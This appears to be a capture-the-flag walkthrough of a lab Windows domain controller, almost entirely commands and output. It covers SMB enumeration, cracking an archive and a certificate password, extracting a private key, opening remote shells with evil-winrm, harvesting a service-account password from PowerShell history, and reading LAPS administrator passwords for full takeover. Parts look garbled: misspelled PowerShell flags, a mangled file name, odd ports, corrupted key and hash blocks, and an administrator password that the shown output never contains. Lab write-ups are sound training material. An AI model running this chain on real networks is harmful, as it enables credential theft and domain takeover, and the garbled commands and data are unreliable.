

Active Directory Machine Walkthrough

Bouhzam Anass

Nmap Scan :

```
(att0r@att0r)-[~]
$ nmap -sC -sV 10.10.11.152 -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-08 12:16 EDT
Nmap scan report for 10.10.11.152
Host is up (0.052s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT      STATE SERVICE        VERSION
53/tcp    open  domain         Simple DNS Plus
88/tcp    open  kerberos-sec   Microsoft Windows Kerberos (server time: 2022-08-09 00:16:51Z)
135/tcp    open  msrpc          Microsoft Windows RPC
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
389/tcp    open  ldap           Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp    open  microsoft-ds?  Microsoft Windows [unclassified]
464/tcp    open  kpasswd5?      Microsoft Windows RPC over HTTP 1.0
593/tcp    open  ncacn_http     Microsoft Windows RPC over HTTP 1.0
636/tcp    open  tcpwrapped
8268/tcp   open  ldap           Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
8269/tcp   open  tcpwrapped
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
_ clock-skew: 8h00m16s
_ smb2-time:
  date: 2022-08-09T00:16:56
  start_date: N/A
_ smb2-security-mode:
  3.1.1:
    Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.63 seconds
```

we can see clearly that this is a domain controller

SMB :

```
(att0r@att0r)-[~]
$ smbclient -L //10.10.11.152/
Password for [WORKGROUP\att0r]:
Sharename      Type            Comment
ADMIN$         Disk            Remote Admin
C$             Disk            Default share
IPC$           Disk            Remote IPC
NETLOGON       Disk            Logon server share
Shares         Disk            Logon server share
SYSVOL         Disk            Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.152 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

(att0r@att0r)-[~]
$ smbclient //10.10.11.152/Shares
Password for [WORKGROUP\att0r]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D                0 Mon Oct 25 11:39:15 2021
..               D                0 Mon Oct 25 11:39:15 2021
Dev              D                0 Mon Oct 25 15:40:06 2021
HelpDesk         D                0 Mon Oct 25 11:48:42 2021
6367231 blocks of size 4096. 2459716 blocks available

smb: \> dir Deb
NT_STATUS_NO_SUCH_FILE listing \Deb
smb: \> dir Dev
.                D                0 Mon Oct 25 15:40:06 2021
..               D                0 Mon Oct 25 15:40:06 2021
6367231 blocks of size 4096. 2459716 blocks available

smb: \> dir Dev
.                D                0 Mon Oct 25 15:40:06 2021
..               D                0 Mon Oct 25 15:40:06 2021
6367231 blocks of size 4096. 2459716 blocks available

smb: \> cd Dev
smb: \Dev\> ls
.                D                0 Mon Oct 25 15:40:06 2021
..               D                0 Mon Oct 25 15:40:06 2021
winrm_backup.zip A                2611 Mon Oct 25 11:46:42 2021
6367231 blocks of size 4096. 2459716 blocks available

smb: \Dev\> get winrm_backup.zip
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (12.3 KiloBytes/sec) (average 12.3 KiloBytes/sec)
smb: \Dev\>
```

Here we found an interesting file lets check It

```
(att0r@att0r)-[~]
$ unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacy_dev_auth.pfx password:
  skipping: legacy_dev_auth.pfx  incorrect password

(att0r@att0r)-[~]
$ fcrackzip -D -u winrm_backup.zip -p rockyou.txt

PASSWORD FOUND!!!!: pw = supremelegacy

(att0r@att0r)-[~]
$ unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacy_dev_auth.pfx password:
replace legacy_dev_auth.pfx? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: legacy_dev_auth.pfx

(att0r@att0r)-[~]
$
```

we tried to crack the zip file using fcrackzip

now lets Convert this pfx file to John compatible hash using pfx2john

```
(att0r@att0r)-[~]
$ pfx2john legacy_dev_auth.pfx
legacy_dev_auth.pfx:$pfxng$1$20$000$20$eb755568327396de179c4a5d668ba8fe550ae18a$3082099c3082060f06092a864886f70d010701a08206000482
05fc308205f8308205f4060b2a864886f70d010c0a0102a08204fe308204fa301c060a2a864886f70d010c0103300e04084408e3852b96a898020207d0048204d8fe
bcd5536b4b831d491da6d53ca889d95f094572da4eed1a4a14cd88bbfff72924328212c0ff047b42d0b7062b3c6191bc2c23713f986d1feb6fd9e1829cd6663d267
7b4af8c7a25f7360927c498163168a2543fd722188558e8016f59819657759c27000d365a302da21eda4b73121dcc4eede60533b0ef0873a99b92cc7f824d029385f
a8b6859930912cd0a257fa55f150c2135f2850832b3229033f2552f809e70010fab8868bb7d5bef7c20408dac3f67e367f4c3e3b81a555cdf9e89c7bc44d6996f40
1f9a26e43094b6fa418a76d5b57579eeb534627a27fd46350a624b139d9ff4b124c9afbbbe42870026098bbcd7d38bb543ab6eff3fc2972c87dd2c0e703ef2a01200
62a97279661b67ca596a650efde28e098c82fce01f50611e28d4a6d5d75af8bf965c07faa68331b9f66733deb32ee3628b156ee0ef8e63b732e3606f3c6c9453b49d
15592648cd918dea7f72899f3e0bfc42bfdb9cddae7e77c5934579d658bfea78800013f36de7efadd2f0ff96e78dedaba0593947f96989fad67e17470b49307b5199
248fbad36a0dee42e480b30785810a4c17cc27b0e0ed3a99ddcc9720a968f3ccbfbb36752febbba437ecacd6c93c6ef2ff6277de01545a482daf34d1faf38819737
b7e4ef61004c2876715123fd0b8a4fc03eb387fd50eaa4f977870a6c011c91f1c9093dc2aa0e2c72c0a5e1473ef89429b02ab1efbf09b096fecb65d6e772d8eb2c
a2e72aa288749d6fdbf9b207592f3a9ad16676d9f0aba1fb2f180f7b715b6c2238aa42c13b00f8dc26c41ababbca74b84b42294ff473a0f16c85ac7f2072981968f8b
868885655f50ea81f06e5e65d269853e537e18268add9046681f9a6d0233d171f900b34cf0c63d299eb67d7a8ebfcfbf88395de5c7fd5bd1085d20cc56b3ca847e6f
21fba58215ff91bed70e5f629c9257baa848f29fab2efb9170f8c51e680dde4d6d2eeba602b24444f43ccfb607efa46f378539664c6309f51d82f67347fc689e855
966069099de6f19adadc9c6a0d2c42401846eba828bffa6f7336df1ea091844f2074e976a5d2eb83db0646fb43b3faad564ac577781f29de95b7b21b6caf7f9d
ed6d2d56150de098faf9a684b2a79083b355455272874e9c427e1b1349b94c0baf73ee08832274df7c4ac23b68f66cb86ba0561e1bb83b0e920b4568371c89c2a80
ed63308a4d9ce2e12d74de3f83fe5d93ab3aadd65a8821814f9981e20c8b86615d04ef9d45c30d692ad058212b33a0c8966414b3840a77af33b2fe85791a16e4922a
9458cb584903515470d57607ce412a0699c883ddd40ad4983f9ae164879a19fc554781823782c89b47c3bf36a6eb4d33194753e85cb13e112a3e9fce98b72565961d
1bace71a8086657bce391b0b2a5e4b8025b06984fbb2da341034e9750b33ef2a1dcccddde7b867084faf8264a4379c17dfad736a382fa7510e674ca7fefba611cc643
13242d3166a04165d4f70607bd988181f06ff4dca04035c14111c7d93a1169efcece83616e971131ff54c42a35f3c43f374131b8634999052aa7a479274f6b9d64e
414d2775fcf8f7e68897032902547c92885136f0f14e04e62519a02c03a4d0bf412e517f4b51e42ff27b40d7222d72242c56abb1b183158fef0f9d04bbc45d5341a
4cb26d03a5864a6f51b9bd315918aa491393a5b6dc622dad6b25e131e43077ab421c4cbded6dfdb52afd4dcb19a27797cbf983181e2300d06092b06010401823711
023100301306092a864886f70d010915310604040100000305d06092a864886f70d01091431501e4e00740065002d00340061003300330034003100350037002d00
63003800660031002d0034003700320034002d0038006400620036002d00650064003100320060032003500630032006100390062305d06092b0601040182371101
31501e4e004d006900630072006f0073006f0066007400200053006f0066007400770061007200650020004b00650079002000530074006f00720061006700650020
00500072006f007600690064006500723082038506092a864886f70d010701a08203736048203723082036e3082036a060b2a864886f70d010c0a0103a08203423082
033e060a2a864886f70d01091601a082032e0482032a308203263082020e0a00302010202101d9989298ac1f1bb4193a1cfff44e12df3f00d06092a864886f70d01010b
050030213110300e0603504030c074c6567e1637979301e170d3231313032353134303535325a170d3331313032353134313535325a30123110300e0603504030c
074c6567e163797930820122300d06092a864886f70d010105000382010f003082010a0282010100a55607a36216471ee2f34d23ad6171ce8bb9eb34a872bf689bc
e78603bbf6aa1c16b835ff3114fe8834d04d9585af0310af28cf1a42c1e9bf7b68a70a50f9f86d1643bb5371ca1bdf34d4d15e3745415f672222a4a303adea01b617e
f4ee60545e0f0271cf9be6183f0b1ba1191857c40ea7322e8d319803089ae02125999941ea4e1c9b156fffb3ce99ed60b3ab623755c5a0fbb5cccd3986882f776d65a
6b35dc2f0e88a532513c90161adb6a85a26998ac9a82cc249a5aef631b4a7584a2bb9a4eb0bc1491f107c75b6a97f7e35b2ca7a00adfbf8c06abb657d96ef8adcc
0b635a4b33a8222e472cc8e7aee8d1a02c77bfa6572f428f085cc3304a8b1491f10203010001a3783076300e060351d0f0101ff0404030205a03013060351d2504
0c300a06082b060105050730023030060351d1104293027a025060a2b060104018237140230a0170c156c567e16379794074696d656c617073652e687462301d06
03551d0e04160414ccdd9ee44f209ab0752bfbd81961eac2db1255819300d06092a864886f70d01010b050003820101005f8efb76bfde3ef96fdda72c84b8ae76bb0
882aba9ab9deba1fc905a0e9d1d93e510364caf5eeeee7492f4cdd43e0fb568ae77d49a3eca2449b28da05817d4a357e66ef6174dc08b226875cf896dc6c73a2603
a09dc0aa7457d7dedd04cb747b286c7aade2edbd4e0567e9e1be55d3789fcf01773f7f06b6adf88fb1f579d564ce604cdc8299e074726d06a9ae370ded94c2a680ca
a9eb9298ce9293bef335263848e6dc4686a6dd59b9f6952e308c6cb7060459c3aa0cebaec6175dd5ab65f758764ae4d68fffb929ac1dfc9f8cb3aae26343c36e19f1d
78def222a0760c8860a72ac1dd5a232b1b65162cea1e52b9549af4ebd918fe79fbfb34846b6a403115301306092a864886f70d0109153106040401000000$86b99
e245b03465a6ce0c974055e6dc74f0e893:::Legacy_dev_auth.pfx
```

3

than trying to crack it with the correct format

first :\$ pfx2john legacyy_dev_auth.pfx >pfx_timelapse.hash

```
(att0r@att0r)-[~]
$ john -w=rockyou.txt pfx_timelapse.hash --rule rockyou-30000.rule
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:01:48 DONE (2022-08-08 11:31) 0.009254g/s 29906p/s 29906c/s 29906C/s thuglife06..thsco04
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

The funny parts start now :

using the pfx file lets try to export the certificate and the key file :

Exporting private key :

```
(att0r@att0r)-[~]
$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
Enter Import Password:

(att0r@att0r)-[~]
$ cat priv-key.pem
Bag
  Attributes
    Microsoft Local Key set: <No Values>
    localKeyId: 01 00 00 00
    friendlyName: te-4a534157-c8f1-4724-8db6-ed12f25c2a9b
    Microsoft CSP Name: Microsoft Software Key Storage Provider
Key
  Attributes
    X509v3 Key Usage: 90
  -----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBCwggSjAgEAAoIBAQCCLVgejYhZHHuLz
TS0tYXHOi56zSocr9om854YDu/6qHBA4NF8xFP6INNBNLYwvAxCvkM8aQsHpv3to
pwpQ+YbRZDuINxyhvfNNTRXjdFQV9nIiKkowOt6gG2F+905gVF4PAnHPm+YYPwsb
oRkYV8QOpzIi6NMZgDCJrgISWZmUHqThybfW/7P0me1gs6tiN1XFoPu1zNOYaIL3
dtZaazXcLw6IptJRPJAWGttqyFomnyYrJqCzCSaWu9jG0p1hKK7mk6wvBSR8QfHW2
qX9+NbLKEgCt+/jAa6u2V9lu+K3MC2NaSz0oIi5HLMjnrujRoCx3v6ZXL0KPCFzD
MEqLFJHxAgMBAACggEAc1JeYyE5IkJY6nuTtwuQ5hBc0ZHaVr/PswOKZnBqYRzW
fAatyP5ry3WLfZKfF0W9hXw3tBRkUkOoyDIAVMKxmKzguK+BdMIMZLjAZPSUR9j
PJFizeFCB0sR5gYReT9fm/iIidaJl6WhidQEPQZ6qf3U6qSbGd5f/khyqXn1tWnL
GNdwA0ZBYBRaURB0qEIFmpHbuWZCdis20CvzsLB+Q8LCLVz4UkmPX1RTFnHTxJW0
Aos+JHMBRuLw57878BCdjl6DYHdR4kiLLxLVbyXrP+4w8dOurRgxdYQ6iyL4Umu
Ifvrqu8aUdTykJOVv6wWaw5xxH8A31nL/hwt50vEQQKBgQYcwQvXaezwxnzuzj
7BtdnN6DJVthEQ+9jqvUUBZWLAI/g2MktkKkkkD9rWZAK6u3LwGmDDCurcHQBD0h7
tykwN9JTJhuXkKiS1eS3BiAumMrnKFM+wPodXi1+4wJk3YTWKPKLXo71KbLo+5NJ
2LUMvvpDyITQjsoZoGxLDZvLFwKBgQDDJA7YHQ+S3wYk+11q9M5iRR9bBXSBUZja
8LVecW5FDH41jqWg7xq0uYnLZ01mIswi1l53+5Rch5opDzFSaHeS2XNPf/Y//TnV
1+gIb3AICCTAb4bAngau5zm6VSNpYXUjThvrLv3poXezFtCWLEBKrW0xWRP4JegI
ZnD1BfmQNWKBgEJYPTgl5NL829+Roqrh7CFti+a29KN0D1cS/BTWzusKwwWkyB7o
btTyQf4tnbE7AViKycyZVGtUNLP+bME/CyJ0c0t5SsvS0tVvJAPVpNejjc381kdN
71xBGCDi5ED2hvJ/hB1kCz2qYmR3eFYSTRp015HG5NFjV0rrzyLuzRAoGAL7s3
QF9Plt0jhdFp1xr4aZpPvgF3Ie9V0veizAMh4Q2Ia+q1C6pCSYk0WaEYQKDa4b0
6jqZi0B6S71un5vqXAKCEYy9kF8AqAcMl0qEQSIJSaOvc8LfBMBiTe54N1fXn0eK
/ww4ZFfKfQd7oLxqcRADvp1st2yhR7OhrN1pfl8CgYEAsJNjb8LdoSZKJZc0/F/r
c2gFFK+MMnFncM752xpEtBurtEULAKkhVMh6mAywiUWaYvpmbHDMPTIGqV7at2+X
TTu+fiiJkAr+eTa/Sg3qLEOYgU0cSgWuZi0im3abbDtGLRt2Wga0/Igw9Ewzupc8
A5ZZvI+GsHhm00ab7PEWlRY=
-----END PRIVATE KEY-----
```

Here you should copy from --Begin PRIVATE KEY to --END private in a file lets call it legacy.key

Exporting the certificate :

```
(att0r@att0r)-[~]
$ openssl pkcs12 -in legacyv dev auth.pfx -nokeys -out cert1.pem
Enter Import Password:

(att0r@att0r)-[~]
$ cat cert1.pem
Bag Attributes
    localKeyID: 01 00 00 00
subject=CN = Legacyy
issuer=CN = Legacyy
-----BEGIN CERTIFICATE-----
MIIDJjCCAg6gAwIBAgIQHZmJKYrPEbtBk6HP9E4S3zANBgkqhkiG9w0BAQsFADAS
MRAwDgYDVQQDDAdmZWdhY3l5MB4XDTEyMTAyNTE0MDU1MloXDTMxMTAyNTE0MTU1
MlowEjEQMA4GA1UEAwHTGVnYWV5eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAKVB6NiFkce4vNNI6lhcc6LnrNKhyv2ibznhg07/qocFrg1/zEU/og0
0E2Vha8DEK8ozxpCwem/e2inClD5htFk07U3HKG9801NFeN0VBX2ciIqSjA63qAb
YX707mBUXg8Ccc+b5hg/CxuhGRhXxA6nMiLo0xmAMImuAhJZmZQepOHJsVb/s86Z
7WCzq2I3VcWg+7XM05hogvd21lprNdwwDoilMlE8kBYa22rIWiaZismoLMJJpa72
MbSnWEoruaTrC8FJHxB8dbapf341ssp6AK37+MBrq7ZX2W74rcwLY1pLM6gilKcs
yOeu6NGgHe/plcvQo8IXMMwSosUkfECAwEAAAN4MHYwDgYDVR0PAAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMCMDAGA1UdEQQpMCegJQYKKwYBBAGCNxQCA6AX
DBVsZWdhY3l5QHRpbWVsYXBzZS5odGIwHQYDVR00BBYEFMzZDuSvIJ6wdSv9gZYe
rC2xJVgZMA0GCSqGSIb3DQEBCwUAA4IBAQBfjvt2v94+/pb92nLIS4rna7CIKrqam
966H8kF6t7pHZPlEDZMr17u50kvTN1D4PtLCud9SaPsokSbKNoFgX1KNX5m72F0
3KCLImh1z4ltxsc6Jg0gncCqdfX3t0Ey3R7KGx6reLtvU4FZ+nhvLXTeJ/PAXc/
fwa2rfiPsfV51WTOYEzcgpngdHJtBqmuNw3tnEKmgMqp65KYzpKTvvM1JjhI5txG
hqbWbn2lS4wjGy3YGRZw6oM667GF13Vq2X3WHZK5NaP+5Kawd/J+Ms6riY0PDbh
nx143vIioHYMiGCnKsHdWiMrG2UWLOoeUrlUmpr069kY/nn7+zSEa2pA
-----END CERTIFICATE-----
```

same for the certificate lets call it legacy.cert

Now using evil-winrm

```
(attor@attor)-[~]
└─$ evil-winrm -S -k legacy.key -c legacy.cert -i 10.10.11.152

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: SSL enabled

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy
*Evil-WinRM* PS C:\Users\legacyy\Documents> hostname
dc01
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami /prev
whoami.exe : ERROR: Invalid argument/options - '/prev'.
+ CategoryInfo          : NotSpecified: (ERROR: Invalid ... tion - '/prev':String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
Type "WHOAMI /?" for usage.*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami /priv

PRIVILEGES INFORMATION
-----
Privilege Name            Description                State
-----
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege   Bypass traverse checking   Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\legacyy\Documents> cd ..
CD ~
*Evil-WinRM* PS C:\Users\legacyy\Documents> cd ..
CD ~
*Evil-WinRM* PS C:\Users\legacyy\Documents> ls
Directory: C:\Users

Mode                 LastWriteTime         Length Name
----                 -
d-----           10/23/2021    11:27 AM        Administrator
d-----           10/25/2021     8:22 AM        legacyy
d-r-----          10/23/2021    11:27 AM        Public
d-----           10/25/2021    12:23 PM        svc_deploy
d-----           2/23/2022     5:45 PM        TRX
```

we re connected as legacy now

For the twist plot as you ll be familiar with active directory ,I thought of checking the history file path using env variable :

```
*Evil-WinRM* PS C:\Users> echo $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\
C:\Users\legacy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\
*Evil-WinRM* PS C:\Users> cd $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\
*Evil-WinRM* PS C:\Users\legacy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> ls

Directory: C:\Users\legacy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine

Mode                LastWriteTime         Length Name
----                -
-a-----          3/3/2022  11:46 PM             434 ConsoleHost_history.txt
```

Now we can find credentials for svc_deploy in this history file which is used for PS-Remoting, checking the file and trying to execute the commands on the file

```
*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> cat ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLLC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computename localhost -credential $c -port 5986 -ussl -SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> cd C:\Users
*Evil-WinRM* PS C:\Users>

Warning: Press "y" to exit, press any other key to continue

*Evil-WinRM* PS C:\Users> $so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
*Evil-WinRM* PS C:\Users>
*Evil-WinRM* PS C:\Users> $p = ConvertTo-SecureString 'E3R$Q62^12p7PLLC%KWaxuaV' -AsPlainText -Force
*Evil-WinRM* PS C:\Users> $c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
```

Passing commands via PS-Remoting:

Some of Lateral Movement Permalink and Checking for LAPS password using AD-Module,

```
*Evil-WinRM* PS C:\Users> invoke-command -computename localhost -credential $c -port 5986 -ussl -SessionOption $so -scriptblock {whoami}
timelapse\svc_deploy
*Evil-WinRM* PS C:\Users> invoke-command -computename localhost -credential $c -port 5986 -ussl -SessionOption $so -scriptblock {Get-ADComputer -filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime}
```

```
PSComputerName : localhost
RunspaceId      : 82cbd875-1a16-4092-8d43-b3fca8880e66
DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName      : dc01.timelapse.htb
Enabled          : True
Name             : DC01
ObjectClass      : computer
ObjectGUID       : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName   : DC01$
SID              : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :

PSComputerName : localhost
RunspaceId      : 82cbd875-1a16-4092-8d43-b3fca8880e66
DistinguishedName : CN=D801,OU=Database,OU=Servers,DC=timelapse,DC=htb
DNSHostName      :
Enabled          : True
Name             : D801
ObjectClass      : computer
ObjectGUID       : d38b3265-230f-47ae-bdcd-f7153da7659d
SamAccountName   : D801$
SID              : S-1-5-21-671920749-559770252-3318990721-1606
UserPrincipalName :

PSComputerName : localhost
RunspaceId      : 82cbd875-1a16-4092-8d43-b3fca8880e66
DistinguishedName : CN=WEB01,OU=Web,OU=Servers,DC=timelapse,DC=htb
DNSHostName      :
Enabled          : True
Name             : WEB01
ObjectClass      : computer
ObjectGUID       : 897c7cfe-ba15-4181-8f2c-a74f88952683
SamAccountName   : WEB01$
SID              : S-1-5-21-671920749-559770252-3318990721-1607
UserPrincipalName :

PSComputerName : localhost
RunspaceId      : 82cbd875-1a16-4092-8d43-b3fca8880e66
DistinguishedName : CN=DEV01,OU=Dev,OU=Servers,DC=timelapse,DC=htb
DNSHostName      :
Enabled          : True
Name             : DEV01
ObjectClass      : computer
ObjectGUID       : 02dc961a-7a60-aec0-a151-0472768814ca
SamAccountName   : DEV01$
SID              : S-1-5-21-671920749-559770252-3318990721-1608
UserPrincipalName :
```

We can see that the local Administrator password

now Lets use evil-winrm to PS-Remote with this credential

```
(att0r@att0r)-[~]
$ evil-winrm -u 'Administrator' -p 'kOv@9/3eC8LpDqg8[E!8#6oJ' -i 10.10.11.152 -S
Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
timelapse\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> ls
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> ls

Directory: C:\Users\Administrator

Mode                LastWriteTime         Length Name
----                -
d-r-----         10/23/2021  11:27 AM             30 3D Objects
d-r-----         10/23/2021  11:27 AM             12  Contacts
d-r-----          3/3/2022    7:48 PM             12  Desktop
d-r-----         10/23/2021  12:22 PM             12  Documents
d-r-----         10/25/2021    2:06 PM             12  Downloads
d-r-----         10/23/2021  11:27 AM             12  Favorites
d-r-----         10/23/2021  11:28 AM             12  Links
d-r-----         10/23/2021  11:27 AM             12  Music
d-r-----         10/23/2021  11:27 AM             12  Pictures
d-r-----         10/23/2021  11:27 AM             12  Saved Games
d-r-----         10/23/2021  11:27 AM             12  Searches
d-r-----         10/23/2021  11:27 AM             12  Videos
```

now we're Administrator

The End